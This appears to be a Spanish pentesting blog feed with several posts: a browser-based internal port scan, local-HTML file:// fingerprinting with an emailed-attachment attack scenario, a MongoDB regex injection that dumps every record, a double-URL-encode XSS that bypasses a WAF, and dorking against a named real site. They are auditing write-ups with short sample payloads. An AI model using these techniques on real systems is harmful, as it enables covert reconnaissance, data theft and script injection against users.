Este comportamiento es especialmente significativo a la hora detectar IPs "vivas" y puertos abiertos. <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWYiC2r20cMxNoeT2kylg-kv5K6_RRNoDOlZXsXSsDQI-9KlEsIny9o5_wPOv_k9peuhUnMiYMTqKaoRGZNhm_cSh7yK3mxHFxZZDPOelyIBpO4_p0c1INP5HyOJalGbzD2qJaWo9RRpo/s1600/5.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWYiC2r20cMxNoeT2kylg-kv5K6_RRNoDOlZXsXSsDQI-9KlEsIny9o5_wPOv_k9peuhUnMiYMTqKaoRGZNhm_cSh7yK3mxHFxZZDPOelyIBpO4_p0c1INP5HyOJalGbzD2qJaWo9RRpo/s640/5.png" width="640" height="382"></a> <p>A la izquierda los resultados con Chrome, a la derecha, con Zenmap <p>En general los tiempos de respuesta variarán en función del sistema operativo de la máquina a escanear y del puerto que analicemos: <ul> <li>Equipos <b>Windows</b>: es necesario lanzar contra puertos "abiertos" para saber si la IP está activa (se recibe respuesta rápida) <li>Equipos <b>Linux </b>(Ubuntu): si la IP existe el puerto responde rápido (esté abierto o no [RST]) <li>Dispositivos móviles <b>Android o Iphone</b>: si IP existe el puerto responde rápido (esté abierto o no [RST]) <li>Dispositivos móviles <b>Windows Phone</b>: es necesario lanzar peticiones contra puertos "abiertos" para saber si la IP está activa.</li></ul><br>Actualmente es posible escanear con libertad puertos superiores al 1024. En función del navegador web, por debajo de este valor será más o menos difícil escanear ciertos puertos porque los navegadores introducen medidas de <b>port banning</b>. Cada navegador implementa diferentes políticas en este sentido. Internet Explorer es más laxo que Firefox o Chrome.<br>A la hora de detectar cuál es el rango de red interna de la víctima, es mucho más eficaz conocer el rango de la red de antemano. Si el navegador web utiliza WebRTC (Firefox y Chrome) será sencillo obtener su IP interna (en la red corporativa o doméstica) y por tanto afinar en el escaneo de su rango. Si no fuera así se deberían escanear los diferentes rangos de red con "fuerza bruta".<br><a href="http://www.webrtc.org/">WebRTC</a> (Web Real-Time Communication) es una API que está siendo elaborada por la World Wide Web Consortium (W3C) para permitir a las aplicaciones del navegador realizar llamadas de voz, chat de vídeo y uso compartido de archivos P2P sin plugins.<b> WebRTC sufre un "leak" conocido que permite conseguir la IP local del sistema atacado. </b>Para comprobarlo, basta con visitar esta dirección con la prueba de concepto: <a href="http://net.ipcalf.com/">http://net.ipcalf.com</a>/.<br>En la próxima entrada veremos la parte de explotación y escenarios de ataque.<br>* <a href="http://blog.elevenpaths.com/2014/11/enumeracion-y-explotacion-de-recursos_14.html">Enumeración y explotación de recursos internos mediante Javascript/AJAX (y II)</a> <p align="right">Dr. Alfonso Muñoz <p align="right"><a href="mailto:alfonso.munoz@11paths.com">alfonso.munoz@11paths.com</a><br><a href="https://twitter.com/mindcrypt">@mindcrypt</a><br>Ricardo Martín</p> <p align="right"><a href="mailto:ricardo.mart%C3%ADnz@11paths.com">ricardo.martínz@11paths.com</a><a href="https://www.blogger.com/null" name="_GoBack"></a><br><a href="https://twitter.com/ricardo090489">@ricardo090489</a></p> MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-2533371583399549282014-09-16T22:55:00.000-07:002014-09-16T22:55:00.915-07:00Fingerprinting with local HTML files<p> <p><b></b> <p><b></b> <ol> <li><b>Inicio</b> <li><b>La Idea</b> <li><b>Inconvenientes</b> <li><b>Pruebas</b> <ul> <li><b>Firefox</b> <li><b>IExplorer</b> <li><b>Chrome</b> <li><b>Safari</b></li></ul> <li><b>Más ideas</b> <li><b>Planteamiento del ataque</b></li></ol> <p><b></b> <p align="justify"><b>Inicio</b> <p align="justify">El tema del siguiente articulo como bien dice el titulo se trata de la recopilación de información del sistema mediante un fichero HTML que se encuentre almacenado en local. <p align="justify">Esta técnica que hago pública pretende ser una alternativa a la recopilación de información de un sistema mediante un tipo de fichero no comúnmente utilizado para este fin, que va a resultar menos sospechoso que un binario, evidentemente esta técnica no se puede comparar con la cantidad de información que puede recabar otras herramientas spyware pero como bien digo es una alternativa. <p align="justify"><b>La idea</b> <p align="justify">La idea básicamente es utilizar el esquema URI ‘file://’ para apuntar mediante una etiqueta HTML a un recurso de la maquina en la que se abre el fichero HTML y apoyándose en Javascript, más concretamente en los eventos o en el tiempo de retardo de los mismo o en la ausencia de estos, poder identificar si ese recurso existe o no, más delante se detallará más este concepto. <p align="justify"><b>Inconvenientes</b> <ul> <li> <div align="justify">Javascript: Puede ser que se esté bloqueando la ejecución de Javascript en la página web que recoge la información del sistema. </div> <li> <div align="justify">Esquema URI ‘<em>file://’</em>: El inconveniente de este esquema URI es que no puede ser utilizado si la aplicación web que lo utiliza para hacer referencia a un fichero la brinda un servidor web, o lo que es lo mismo, solo se puede utilizar si la aplicación web que utiliza este esquema URI se abre desde la máquina de la víctima.</div></li></ul> <p align="justify"><b></b> <p align="justify"><b>Pruebas</b> <p align="justify">Con <b>IExplorer</b> es posible detectar los recursos internos de un sistema en el ejemplo siguiente, detectar los directorios de aplicaciones cuando el evento Javascript onLoad no es llamado, es decir que cuando un recurso no existe el evento onLoad es llamado y por el contrario cuando existe no lo es. <p align="justify">En la imagen que se muestra a continuación se puede ver una lista que se determinar cómo se ha explicado antes, dependiendo de si el navegador no llama al evento onLoad cuando se haga referencia a un directorio existente mediante un iframe. <p align="justify"><em><iframe src=”</em><a href="file:///C:\"><em>file://C:/</em></a><em>” onLoad=”alert(‘NO EXISTE’)”></em> <p><a href="http://lh3.ggpht.com/-LKrhVXq2LyY/VBkfFRxEkTI/AAAAAAAAAS4/umqw70kVZ7g/s1600-h/clip_image0014.png"><img title="clip_image001" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; float: none; padding-top: 0px; padding-left: 0px; margin-left: auto; display: block; padding-right: 0px; border-top-width: 0px; margin-right: auto" border="0" alt="clip_image001" src="http://lh4.ggpht.com/-6hojA6Om0Dk/VBkfFwvr3vI/AAAAAAAAAS8/FhUtK5woHqo/clip_image001_thumb1.png?imgmax=800" width="625" height="413"></a> <p align="justify">Con <b>Firefox</b> al contrario que con IExplorer es posible determinar de si el directorio al que se apunta existe <b>SI</b> el evento onLoad es llamado. <p align="justify"><em><iframe src=”</em><a href="file:///C:\"><em>file://C:/</em></a><em>” onLoad=”alert(‘EXISTE’)”></em> <p><a href="http://lh3.ggpht.com/-6yvgP3tKYOY/VBkfGKkVJII/AAAAAAAAATE/rbecri-kfmM/s1600-h/clip_image0034.jpg"><img title="clip_image003" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; float: none; padding-top: 0px; padding-left: 0px; margin-left: auto; display: block; padding-right: 0px; border-top-width: 0px; margin-right: auto" border="0" alt="clip_image003" src="http://lh3.ggpht.com/-ouYmON0Zrao/VBkfGtePHGI/AAAAAAAAATQ/R44oyST47kc/clip_image003_thumb1.jpg?imgmax=800" width="621" height="456"></a> <p align="justify">Como conclusión para IExplorer y Firefox se puede decir según las imágenes que es posible determinar: el lenguaje del sistema, el hardware en base al software instalado, software instalado, antivirus, sistema operativo, por fuerza bruta usuarios en el sistema, directorios compartidos, unidades de disco, etc. <p align="justify">Para <b>Chrome</b> no es tan fácil ya que no se puede en base a eventos determinar nada ya que los eventos son llamados existan o no los directorio utilizando iframe, sin embargo si se puede determinar los directorios con grandes cantidades de ficheros y subdirectorios en base al tiempo de retraso en el renderizado de los mismos. <p align="justify">En el siguiente ejemplo se apunta a cinco directorios que no existen y a seis que si, como se puede apreciar los que si existen y que además tienen gran cantidad de elementos tardan mucho más en llamar al evento onLoad que va a servir para calcular el tiempo entre la creación del iframe y el final de la cargar del recurso. <p><a href="http://lh6.ggpht.com/-J86tce1PwvQ/VBkfHOvMFWI/AAAAAAAAATU/7m9y4RkaJUE/s1600-h/clip_image0054.jpg"><img title="clip_image005" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; float: none; padding-top: 0px; padding-left: 0px; margin-left: auto; display: block; padding-right: 0px; border-top-width: 0px; margin-right: auto" border="0" alt="clip_image005" src="http://lh6.ggpht.com/-5tL7pXi3wdI/VBkfHl9yc0I/AAAAAAAAATg/lZtdXQKf9Zg/clip_image005_thumb1.jpg?imgmax=800" width="424" height="455"></a> <p align="justify">Por ultimo hablar sobre el tratamiento de <b>Safari</b> que cuando la etiqueta apunta a un directorio desde un iframe, el funcionamiento de este se traducía en lanzar un explorador de Windows apuntando al directorio que se había establecido en el atributo src del iframe, entonces dejando de lado la posibilidad de detectar los directorios de forma discreta lo que quedaba era realizar un ataque que se basa en añadir una cantidad ingente de iframe apuntando a directorios existentes del sistema por ejemplo a la unidad C: con ello se consigue que el escritorio de la víctima se vea inundado de ventanas del explorador de Windows. <p align="justify"><b></b> <p align="justify"><b>Más ideas</b> <p align="justify">Estos problemas de eventos, ausencias de ellos o retraso en los mismos, o como sucede con Safari que abre un explorador de Windows, no suceden cuando se apunta a imágenes u otro tipo de ficheros según el tipo de etiqueta utilizada. <p align="justify"><em><img src="file://C:/test.pngs" onload="alert('existe')"> </em> <p align="justify"><em><img src="file://C:/no-existe.pngs" onload="alert('existe')"></em> <p align="justify">Funcional en <b>Chrome, IExplorer, Safari, Firefox</b>. <p align="justify">De esta forma se podría realizar un script que además de apuntar a directorios apuntase a imágenes, css, js etc para obtener más información del sistema. <p align="justify"><b>Planteamiento del ataque</b> <p align="justify">Y para acabar el articulo exponer un simple escenario de ataque donde intervienen un atacante(1) que envía un correo donde adjunta un fichero HTML(2) que va a recabar información del sistema de la víctima y este enviara a un panel de control(3) toda esa información donde a posterior visualizara el atacante. <p><a href="http://lh3.ggpht.com/-qtdwRAgOlSA/VBkfIMAlTOI/AAAAAAAAATk/Md2c1ybFNW4/s1600-h/clip_image0074.jpg"><img title="clip_image007" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; float: none; padding-top: 0px; padding-left: 0px; margin-left: auto; display: block; padding-right: 0px; border-top-width: 0px; margin-right: auto" border="0" alt="clip_image007" src="http://lh6.ggpht.com/-g_LSlkWImKg/VBkfIhDOODI/AAAAAAAAATs/a9wdobgf9kQ/clip_image007_thumb1.jpg?imgmax=800" width="417" height="279"></a> MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com2tag:blogger.com,1999:blog-1612739396540967045.post-4681235430426932162014-09-09T09:33:00.000-07:002014-09-09T09:33:00.640-07:00Tip para inyecciones en Mongo DB<p> <p align="justify">En auditorías donde nos encontramos ante bases de datos NOSQL como puede ser Mongo DB uno de los problemas con los que nos solemos encontrar al igual que con bases de datos SQL es el filtrado de los parámetros enviados, este filtrado con la idea de combatir inyecciones se suele centrar en el remplazo o escapado de caracteres como las comillas simples o las dobles y las backslash, pero como veremos en este artículo a veces cuando nos encontramos ante ciertas situaciones es posible sin necesidad de escapar los caracteres entre los que se encuentra enjaulado el parámetro existe posibilidad de obtener todos los resultados de una colección. <p align="justify">En el ejemplo siguiente, si se estuviesen filtrando caracteres como las comillas simples o las dobles y las backslash no podríamos inyectar otra instrucción <p align="center">{ "ip" : " Parámetro_enviado_por_GET "} <p align="center"><a href="http://lh3.ggpht.com/-KvS5mT02120/VA7zuNs4JKI/AAAAAAAAASQ/FFfhCjWgK1o/s1600-h/clip_image001%25255B5%25255D.png"><img title="clip_image001" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" border="0" alt="clip_image001" src="http://lh4.ggpht.com/-wMDCH--1rj8/VA7zuud7MDI/AAAAAAAAASY/SonI3Y86xFI/clip_image001_thumb%25255B2%25255D.png?imgmax=800" width="402" height="340"></a></p> <p align="justify">Sin embargo si nos encontrásemos con un escenario como el siguiente que aun no siendo tan común es posible, no sería necesario escapar los caracteres anteriormente mencionados para poder armar una buena en la auditoría por ejemplo listando todos los resultados de la colección. <p align="center">{ "ip" : { $regex: ' Parámetro_enviado_por_GET ', $options: 'i' }} <p align="justify">Y es que como veremos a continuación, basta con añadir dos caracteres que raramente son tenidos en cuenta a la hora de filtrar los datos de entrada a la aplicación <p><a href="http://lh5.ggpht.com/-mfSAlgageOE/VA7zvMjekGI/AAAAAAAAASg/rRBnkQSgGRY/s1600-h/clip_image002%25255B6%25255D.png"><img title="clip_image002" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin-left: auto; border-left: 0px; display: block; padding-right: 0px; margin-right: auto" border="0" alt="clip_image002" src="http://lh5.ggpht.com/-eFVSx42GXMs/VA7zvQglSxI/AAAAAAAAASo/EPmg-wM10JY/clip_image002_thumb%25255B3%25255D.png?imgmax=800" width="404" height="431"></a></p> <p align="justify">Así de sencillo dos puntos o cualquier otro carácter y un asterisco y como se aprecia nos devuelven todos los resultados de la colección, en este caso 50, así que ya sabéis chavales añadid un caracter cualquiera y un asterisco a vuestros diccionarios de inyecciones que os pueden dar una grata sorpresa en vuestras auditorías, a mí me la dio, ya que me devolvieron todos los usuarios y sus datos de la colección ordenaditos en una tabla, que más se puede pedir. MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-62963273901374392212014-09-03T10:45:00.000-07:002014-09-03T10:45:00.567-07:00DS_Store Analyzer Online<p><b></b> <p><b></b> <p align="justify">Bueno para los que no lo sepan los ficheros DS_Store son originales de los sistemas Mac OS que están ocultos, y se encarga el propio Finder de crearlos con información del tipo de vista, iconos, columnas, etc, aparece la configuración de la personalización del directorio donde se ha creado, además de los nombres de los ficheros y directorios que cuelgan de él y por este detalle desde el punto de vista de la seguridad existe una fuga de información, ya que los usuarios incautos al mover directorios en un Mac OS a su servidor web accesible por cualquiera revela ficheros y directorios que tal vez no podrían listarse de otra forma. Hace algún tiempo hice una <a href="http://sourceforge.net/projects/idstore/files/">tool en Java y en C#</a> para <a href="http://code-disaster.blogspot.com.es/2013/08/idstore-lista-ficheros-y-directorios.html">obtener nombres de ficheros y directorios ocultos en los ficheros .DS_Store</a>, ya por fin traigo una aplicación online para analizar estos ficheros que encuentro en mis auditorías. <p align="justify">Lo cierto es que hacía tiempo que andaba con la idea de hacerla online pero por una cosa u otra además por lo cansado que termino cuando llego del curro pues la he ido dejando aparcada, al final aprovechando mis vacas en Fuerteventura me he puesto y la he terminado. <p align="center"><a href="http://lh5.ggpht.com/-zNRv5GVKksw/VAbjonWAJfI/AAAAAAAAARY/0TaNVBkkk7E/s1600-h/image%25255B9%25255D.png"><img title="image" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" border="0" alt="image" src="http://lh3.ggpht.com/-EWln8LXYzgA/VAbjpjOCwkI/AAAAAAAAARc/MXGmAgv6Jqs/image_thumb%25255B5%25255D.png?imgmax=800" width="629" height="480"></a><br>Imagen1: DS_Store Analyzer Online</p> <p align="justify">La característica más interesante a remarcar de la aplicación, es la cantidad de patrones de búsqueda utilizados para encontrar los nombres de los ficheros y directorios en el archivo DS_Store. <p align="justify">Patrones de búsqueda: Ilo, icg, lg1, moD, ph1, lsv, vSr. <p align="justify">Más adelante mi intención es tener la opción de devolver los resultados en XML o JSON. <p align="justify">Y sin más les dejo el enlace <p align="justify"><a href="http://disaster-lab.itsm3.com/ds_store.php">http://disaster-lab.itsm3.com/ds_store.php</a> MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-2578961224822532862014-06-25T03:55:00.000-07:002014-06-25T03:55:00.784-07:00XSS con Double URL Encode<p align="justify">Después de tanto tiempo sin postear nada, traigo un XSS de esos que tan pocos se encuentran y que merecen de una entrada en el blog, ando liado y es cierto que no posteo hace mucho, igual voy encontrándome con casos extraños en el curro y los voy guardando para cuando tenga tiempo darle salida, como lo estoy haciendo hoy con este como poco ‘raro’ XSS. <p align="justify">Bueno, deciros que esta inyección se encuentra en un path ya sabéis mod_rewrite, como ya he venido haciendo otras veces por confidencialidad el enlace es cambiado completamente tanto el dominio, como el resto, que luego deis con él dorkeando jeje. <p align="justify"><a href="http://www.xxxxxx.com/imagenes/michyb/">http://www.xxxxxx.com/imagenes/michyb/</a> <p align="justify"><a href="http://lh6.ggpht.com/-phCikaK5VL0/U6p04bTqzfI/AAAAAAAAAQs/L40dtzepUfY/s1600-h/image%25255B9%25255D.png"><img title="image" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; float: none; padding-top: 0px; padding-left: 0px; margin-left: auto; display: block; padding-right: 0px; border-top-width: 0px; margin-right: auto" border="0" alt="image" src="http://lh5.ggpht.com/-_UsiqvRpewc/U6p047dz2rI/AAAAAAAAAQw/4gb98sguf8k/image_thumb%25255B5%25255D.png?imgmax=800" width="556" height="342"></a></p> <p align="justify">Como se puede ver la cadena ‘michyb’ aparece en el HTML devuelto, en la etiqueta TITLE, en la etiqueta META dentro del atributo CONTENT y dentro de un DIV, pero el problema con el que me veo no se soluciona escapando de un atributo de una etiqueta si no como aparece en el título de la entrada se trata de hacerle un ‘double url encode’ para poder explotar una inyección XSS. Para ello nos vamos a centrar en la etiqueta DIV y vamos a ver cómo reacciona la web ante estos caracteres <d>. <p align="justify"><a href="http://lh5.ggpht.com/-Q9JAbtPQN0s/U6pyutzU0rI/AAAAAAAAAPk/v-B12ccrykQ/s1600-h/clip_image004%25255B4%25255D.jpg"><img title="clip_image004" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; float: none; padding-top: 0px; padding-left: 0px; margin-left: auto; display: block; padding-right: 0px; border-top-width: 0px; margin-right: auto" border="0" alt="clip_image004" src="http://lh6.ggpht.com/-bFZiZvX3KGY/U6pyvF0TnFI/AAAAAAAAAPs/9MH9STbfMfY/clip_image004_thumb%25255B1%25255D.jpg?imgmax=800" width="676" height="194"></a></p> <p align="justify">Al inyectar <d> nos da un error ‘404 Not Found’ esto tiene pinta de tener implementado algún WAF. Después de esta prueba realice dos pruebas más para ir averiguando de qué se trataba. <p align="justify"><a href="http://www.xxxxx.com/imagenes/michyb%3e/">www.xxxxx.com/imagenes/michyb>/</a> <p align="justify"><a href="http://www.xxxxx.com/imagenes/%3cmichyb/">www.xxxxx.com/imagenes/<michyb/</a> <p align="justify">En los dos casos, el primero para conocer si se trataba del carácter > y el segundo para el <, en las dos pruebas me devolvía un 200 como ‘Status Code’, con lo cual no se trataba de alguno de estos caracteres por separado, así que me decidí por probar un ‘double url encode’. <p align="justify">1 encode: %3Cmichyb%3E <p align="justify">2 encode: %253Cmichyb%253E <p align="justify">Con ‘double url encode’ la inyección en la URL quedaría así y como se ve en la respuesta nos devuelve un 200 en el ‘Status Code’ <p align="justify"><a href="http://www.xxxxx.com/imagenes/%253Cmichyb%253E/">http://www.xxxxx.com/imagenes/%253Cmichyb%253E/</a> <p align="justify"><a href="http://lh4.ggpht.com/--wzz5vO2MOY/U6pyvjv7J4I/AAAAAAAAAP0/lSK97DRM87k/s1600-h/clip_image006%25255B6%25255D.jpg"><img title="clip_image006" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; float: none; padding-top: 0px; padding-left: 0px; margin-left: auto; display: block; padding-right: 0px; border-top-width: 0px; margin-right: auto" border="0" alt="clip_image006" src="http://lh6.ggpht.com/-F2DrTmN4YRI/U6pywPfHgZI/AAAAAAAAAP8/Gspst6VKCEY/clip_image006_thumb%25255B3%25255D.jpg?imgmax=800" width="668" height="200"></a></p> <p align="justify">Y Bingo!! Como se ve en el HTML devuelto de la respuesta se encuentra la cadena <michyb> y con ello logramos saltarnos el WAF e incluir etiquetas de cualquier tipo. <p align="justify"><a href="http://lh5.ggpht.com/-OfHLu3SOij8/U6p05egBg7I/AAAAAAAAAQ4/0ZXy6i0Ute8/s1600-h/image%25255B13%25255D.png"><img title="image" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; float: none; padding-top: 0px; padding-left: 0px; margin-left: auto; display: block; padding-right: 0px; border-top-width: 0px; margin-right: auto" border="0" alt="image" src="http://lh4.ggpht.com/-imUfG0jqWII/U6p051W2dFI/AAAAAAAAARE/96rQki7A_rw/image_thumb%25255B7%25255D.png?imgmax=800" width="577" height="348"></a></p> <p align="justify">Así que lo último que queda es probar el mítico ‘alert’ que de veracidad de la explotación, para ello tuve que tener en cuenta que cualquier inyección no era válida ya que es una inyección en el path y no puede llevar ningún ‘slash’ ya que lo trataría como otro directorio. Así pues me decidí por un <a href=javascript:alert('Hacked!') >Michyb y el resultado fue. <p align="justify"><a href="http://lh3.ggpht.com/-eH9IjidY_U0/U6pyxtUyuhI/AAAAAAAAAQU/jEzSNWGmluk/s1600-h/clip_image010%25255B4%25255D.jpg"><img title="clip_image010" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; float: none; padding-top: 0px; padding-left: 0px; margin-left: auto; display: block; padding-right: 0px; border-top-width: 0px; margin-right: auto" border="0" alt="clip_image010" src="http://lh3.ggpht.com/-opMoemwQrIo/U6pyyIiooPI/AAAAAAAAAQg/McVaot8W4cs/clip_image010_thumb%25255B1%25255D.jpg?imgmax=800" width="690" height="370"></a></p> <p align="justify">Saludos y hasta la próxima.</p> MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-39435931422213700522013-12-18T16:47:00.000-08:002013-12-19T00:12:12.017-08:00Facilitando las auditorias con Google Hacking + AAD<div align="justify">
Cuando necesitamos auditar una web y queremos tirar de los resultados de google hacking uno de los trucos que suelo tener en cuenta es tirar del operador -inurl: para descartar aplicaciones, variables de aplicaciones incluso dominios que ya he comprobado. </div>
<div align="justify">
Un ejemplo sería el siguiente. <a href="http://www.tussam.es/">www.tussam.es</a> identifico la tecnología que voy a auditar en este caso php. </div>
<div align="center">
<a href="http://lh5.ggpht.com/-1kiFbU-L448/UrGQDXTC_NI/AAAAAAAAANs/r6N_Qg_Tr70/s1600-h/clip_image001124.png"><img alt="clip_image001[12]" border="0" height="406" src="http://lh3.ggpht.com/-BZb5GdsCP1I/UrGQD7xi3hI/AAAAAAAAANw/K3iy0gelPuY/clip_image00112_thumb2.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image001[12]" width="644" /></a><br />
Imagen 1: Búsqueda con Dork sin exclusión</div>
<div align="justify">
Entro en el primer resultado compruebo que no haya nada interesante y vuelvo a realizar la búsqueda descartando la variable id ya que he comprobado que no es vulnerable </div>
<div align="center">
<a href="http://lh3.ggpht.com/-eza3PUgfWjY/UrGQEKpJvVI/AAAAAAAAAN0/xnVkSyy4fRI/s1600-h/clip_image002123.png"><img alt="clip_image002[12]" border="0" height="453" src="http://lh6.ggpht.com/-hXdPNQlR3DI/UrGQEhzSrNI/AAAAAAAAAN8/1W-t6ZRvfUk/clip_image00212_thumb1.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image002[12]" width="644" /></a><br />
Imagen 2: Búsqueda con Dork con exclusión</div>
<div align="justify">
El problema de esta consulta es que pueden existir otras aplicaciones o directorios en la web que no contengan precisamente en la variable la cadena id, con lo cual estaríamos descartándola, pero sin embargo seriamos capaces de añadir más cantidad de operadores excluyentes si solo nos fijamos en las variables </div>
<div align="justify">
Fijémonos entre la cantidad de exclusiones sin pasarnos del límite de palabras en la consulta, entre “dominio+aplicación+variable” (Primeros 2 bloques) y solo “variable” (último bloque). </div>
<div align="justify">
<b>Google</b><br />
8 operadores sobrepasa el límite </div>
<div align="justify">
site:www.tussam.es inurl:php <br />
-inurl:www.tussam.es/index.php?id= <br />
-inurl:www.tussam.es/index.php?id= <br />
-inurl:www.tussam.es/index.php?id= <br />
-inurl:www.tussam.es/index.php?id= <br />
-inurl:www.tussam.es/index.php?id= <br />
-inurl:www.tussam.es/index.php?id=</div>
<div align="justify">
"www" (y las palabras que le siguen) se ignoró porque limitamos las consultas a 32 palabras. </div>
<div align="justify">
<b>Google</b><br />
Búsqueda Exacta (la ideal)<br />
Sin pasarme del límite 7 operadores</div>
<div align="justify">
site:www.tussam.es inurl:php <br />
-inurl:www.tussam.es/index.php?id= <br />
-inurl:www.tussam.es/index.php?id= <br />
-inurl:www.tussam.es/index.php?id= <br />
-inurl:www.tussam.es/index.php?id= <br />
-inurl:www.tussam.es/index.php?id=</div>
<div align="justify">
<b>Bing</b><br />
Búsqueda Exacta (la ideal)<br />
13 operadores sin pasarme del limite </div>
<div align="justify">
site:www.tussam.es -instreamset:(url):”php” <br />
-instreamset:(url):”www.tussam.es/index.php?id=” <br />
-instreamset:(url):”www.tussam.es/index.php?id=” <br />
-instreamset:(url):”www.tussam.es/index.php?id=” <br />
-instreamset:(url):”www.tussam.es/index.php?id=” <br />
-instreamset:(url):”www.tussam.es/index.php?id=” <br />
-instreamset:(url):”www.tussam.es/index.php?id=” <br />
-instreamset:(url):”www.tussam.es/index.php?id=” <br />
-instreamset:(url):”www.tussam.es/index.php?id=” <br />
-instreamset:(url):”www.tussam.es/index.php?id=” <br />
-instreamset:(url):”www.tussam.es/index.php?id=” <br />
-instreamset:(url):”www.tussam.es/index.php?id=”</div>
<div align="justify">
<b>Google</b><br />
Búsqueda en base a las variables GET<br />
Sin pasarme del límite. 30 operadores con variables </div>
<div align="justify">
<a href="http://lh5.ggpht.com/-01rUP2-pNqw/UrGQE3MorfI/AAAAAAAAAOE/q-X368JafR4/s1600-h/clip_image00373.png"><img alt="clip_image003[7]" border="0" height="484" src="http://lh3.ggpht.com/-J7W97KBJbes/UrGQFUwAdjI/AAAAAAAAAOM/rLSPXJRc8eE/clip_image0037_thumb1.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image003[7]" width="182" /></a></div>
<div align="justify">
<b>Bing</b><b><br /></b>Sin pasarme del límite. 20 operadores con variables </div>
<div align="justify">
<a href="http://lh6.ggpht.com/-z6ZS-MEaDRI/UrGQF4nVC1I/AAAAAAAAAOU/ks_0FIlrG7I/s1600-h/clip_image004963.png"><img alt="clip_image004[96]" border="0" height="484" src="http://lh6.ggpht.com/-BzSWvAx4IMc/UrGQGFNUCfI/AAAAAAAAAOc/-5ZxfkV0TLI/clip_image00496_thumb1.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image004[96]" width="386" /></a></div>
<div align="justify">
¿Vale la pena correr el riesgo basándonos solo en las variables? por supuesto que sí, tenemos más cantidad de exclusiones. </div>
<div align="justify">
Filtrando correctamente con Google el límite ronda los 7 operadores mientras con Bing llegamos a 13 operadores sin pasarnos. </div>
<div align="justify">
En cambio filtrando en base a las variables, Google con 30 frente a los 20 permitidos por Bing, queda claro con cual nos quedaríamos por ello hay que decir que Google la tiene más larga con 30 contra 20 de Bing y es que aquí el tamaño sí importa jeje. </div>
<div align="justify">
Bueno pues hice una herramienta para automatizar este proceso, que trabaja con google y con su querido captcha problema que no tenemos con Bing </div>
<div align="justify">
La herramienta tiene el siguiente aspecto. </div>
<div align="center">
<a href="http://lh6.ggpht.com/-VVipTxwqSjw/UrGQGhjyWWI/AAAAAAAAAOk/2FqKZ0UeomI/s1600-h/clip_image005123.png"><img alt="clip_image005[12]" border="0" height="772" src="http://lh5.ggpht.com/-RrYyLxAChto/UrGQHLBDrBI/AAAAAAAAAOs/9SrLXUcAgdI/clip_image00512_thumb1.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image005[12]" width="602" /></a><br />
Imagen 3: AAD Interfaz</div>
<div align="justify">
Simplemente es necesario que en la primera entrada de datos se le envié el dork intentando filtrar lo más posible los resultados, por ello que filtro también por la tecnología para evitar html, jpg, png, etc, de este modo acortar los resultados. </div>
<div align="justify">
En el segundo filtro se puede especificar con una expresión regular por ejemplo [?] de este modo aparecerían todas las urls parametrizadas, y es que a quien no le gustaría que a google se le pudiesen pasar expresiones regulares eh? El que no le guste que tire la primera piedra… ¬¬ vale sigamos. </div>
<div align="justify">
Y la última opción que sirva para ver los operadores de exclusión con las variables GET encontradas en la web. </div>
<div align="center">
<a href="http://lh6.ggpht.com/-127BXVE9dzU/UrGQHVEHfoI/AAAAAAAAAO0/aZP6s6ZBTEM/s1600-h/clip_image006132117.png"><img alt="clip_image006[132]" border="0" height="675" src="http://lh5.ggpht.com/-SqjHeKjaqXE/UrGQIKh7dcI/AAAAAAAAAPA/EJO4UlBE6S4/clip_image006132_thumb115.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image006[132]" width="792" /></a><br />
Imagen 4: ADD en acción y abajo misma ultima búsqueda de ADD pero en el buscador</div>
<div align="justify">
Y hasta aquí este post espero que os haya gustado y es que últimamente no posteo tan seguido por que ando liado con la <a href="https://www.elevenpaths.com/services/faast">FaasT</a> y cuando llego a la casa estoy sExo polvo :p. </div>
<div align="justify">
